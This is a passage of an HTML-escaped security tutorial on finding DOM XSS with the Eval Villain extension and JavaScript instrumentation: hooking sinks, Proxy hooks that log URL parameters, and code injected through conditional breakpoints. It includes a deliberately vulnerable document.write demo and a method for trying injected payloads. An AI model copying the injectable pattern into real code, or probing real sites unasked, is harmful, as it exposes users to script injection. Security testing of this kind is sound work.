&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;`Welcome Back &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;!!!`&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Even though the page has no web requests, Eval Villain still successfully hooks
the user configured sink &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;document.write&lt;/code&gt; before the page uses it. There is no
race condition.&lt;/p&gt;

&lt;p&gt;Also notice that Eval Villain is not just displaying the input of
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;document.write&lt;/code&gt;. It correctly highlighted the injection point. The URL
parameter &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;x&lt;/code&gt; contained an encoded string that hit the sink &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;document.write&lt;/code&gt;.
Eval Villain figured this out by recursively decoding the URL parameters. Since
the parameter was decoded, a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;encoder&lt;/code&gt; function is provided to the user. You
can right click, copy message and paste it into the console. Using the
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;encoder&lt;/code&gt; function lets you quickly try payloads. Below shows the encoder
function being used to inject a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;marquee&lt;/code&gt; tag into the page.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/instrumenting_js_2.png&quot; alt=&quot;Eval Villain example catching document.write DOM XSS&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 700px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;If you read the previous sections, you know how this all works. Eval Villain
is just using a &lt;a href=&quot;https://github.com/swoops/eval_villain/blob/master/src/js/switcheroo.js&quot;&gt;content script&lt;/a&gt;
to inject its JavaScript into a page. Anything it does, you can do in your own
content script. Additionally, you can now use Eval Villain’s source code as
your boiler plate code and customize its features for your particular technical challenge.&lt;/p&gt;

&lt;h2 id=&quot;step-15-a-quick-tip&quot;&gt;Step 1.5: A Quick Tip&lt;/h2&gt;

&lt;p&gt;So lets say you used “Step 1” to get a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;console.trace&lt;/code&gt; from an interesting
native function. Maybe a URL parameter hit your &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;decodeURI&lt;/code&gt; sink and now your
tracing back to the URL parsing function. There is a mistake I regularly make
in this situation and I want you to do better. When you get a trace, don’t
start reading code yet!&lt;/p&gt;

&lt;p&gt;Modern web applications often have polyfills and other cruft at the top of the
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;console.trace&lt;/code&gt;. For example, the stack trace I get on google search results
page starts with functions &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;iAa&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ka&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;c&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ng&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;getAll&lt;/code&gt;. Don’t get tunnel
vision and start reading &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ka&lt;/code&gt; when &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;getAll&lt;/code&gt; is obviously what you want. When
you look at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;getAll&lt;/code&gt;, don’t read source! Continue to scan, notice that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;getAll&lt;/code&gt;
is a method and it’s sibling are &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;get&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;set&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;size&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;keys&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;entries&lt;/code&gt; and
all the other methods listed in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;URLSearchParams&lt;/code&gt;
&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/URLSearchParams&quot;&gt;documentation&lt;/a&gt;.
We just found multiple custom URL parsers, re-implemented in minified code
without actually reading the code. “Scan” as much as you can, don’t start reading
code deeply until you find the right spot or scanning has failed you.&lt;/p&gt;

&lt;h2 id=&quot;step-2-hooking-non-native-code&quot;&gt;Step 2: Hooking non-native code&lt;/h2&gt;

&lt;p&gt;Instrumenting native code didn’t result in vulnerabilities. Now you want to
instrument the non-native implementation itself. Let me illustrate this with an example.&lt;/p&gt;

&lt;p&gt;Let’s say you discovered a URL parser function that returns an object named
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;url_params&lt;/code&gt;. This object has all the key value pairs for the URL parameters.
We want to monitor access to that object. Doing so could give us a nice list of
every URL parameter associated to a URL. We may discover new parameters this
way and unlock hidden functionality in the site.&lt;/p&gt;

&lt;p&gt;Doing this in JavaScript is not hard. In 16 lines of code we can have a well
organized, unique list of URL parameters associated to the appropriate page and
saved for easy access in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;localStorage&lt;/code&gt;. We just need to figure out how to
paste our code right into the URL parser.&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;parseURL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// URL parsing code&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// url_params = {&quot;key&quot;: &quot;value&quot;, &quot;q&quot;: &quot;bar&quot; ...&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// The code you want to add in&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;url_params&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Proxy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;url_params&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;na&quot;&gt;__testit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;loc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;my_secret_space&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;urls&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;JSON&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;parse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;localStorage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;loc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;||&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;{}&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;href&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;location&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;protocol&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;//&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;location&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;host&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;location&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;pathname&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Set&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;urls&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;href&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;has&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;nx&quot;&gt;urls&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;href&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
                &lt;span class=&quot;nx&quot;&gt;localStorage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;setItem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;loc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;JSON&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;stringify&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;urls&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
        &lt;span class=&quot;na&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;__testit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Reflect&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(...&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;arguments&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// End of your code&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;url_params&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Chrome’s dev tools will let you type your
own code into the JavaScript source but I don’t recommend it. At least for me,
the added code will disappear on page load. Additionally, it is not easy to
manage any instrumentation points this way.&lt;/p&gt;

&lt;p&gt;I have a better solution and it’s built into Firefox and Chrome. Take your
instrumentation code, surround it with parenthesis, add &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;amp;&amp;amp; false&lt;/code&gt; to
the end. The above code becomes this:&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;url_params&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Proxy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;url_params&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;__testit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;loc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;my_secret_space&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;urls&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;JSON&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;parse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;localStorage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;loc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;||&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;{}&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;href&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;location&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;protocol&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;//&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;location&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;host&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;location&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;pathname&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Set&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;urls&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;href&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;has&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;urls&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;href&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;localStorage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;setItem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;loc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;JSON&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;stringify&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;urls&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;__testit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Reflect&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(...&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;arguments&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;})&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now right click the line number where you want to add your code, click
“conditional breakpoint”.&lt;/p&gt;

&lt;p&gt;
&lt;center&gt;&lt;img src=&quot;../../../public/images/condbreak_click.png&quot; alt=&quot;Creating a conditional breakpoint&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;max-width: 700px;&quot; /&gt;&lt;/center&gt;
&lt;/p&gt;

&lt;p&gt;Paste your code in there. Due to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;amp;&amp;amp; false&lt;/code&gt; the condition will never be
true, so you won’t ever get a breakpoint. The browser will still execute our
code and in the scope of function where we inserted the breakpoint. There are
no race conditions and the breakpoint will continue to live. It will show up in
new tabs when you open the developer tools. You can quickly disable individual
instrumentation scripts by just disabling the assisted breakpoint. Or disable
all of them by disabling breakpoints or closing the developer tools window.&lt;/p&gt;

&lt;p&gt;I used this particular example to show just how far you can go. The
instrumented code will save URL parameters, per site, to a local storage entry.
At any given page you can auto-populate all known URL parameters into the URL
bar by pasting the following code in to the console.&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;(()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;url&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;location&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;protocol&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;//&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;location&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;host&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;location&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;pathname&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;params&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;JSON&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;parse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;localStorage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getItem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;my_secret_space&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;location&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;href&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;url&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;params&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;flatMap&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span 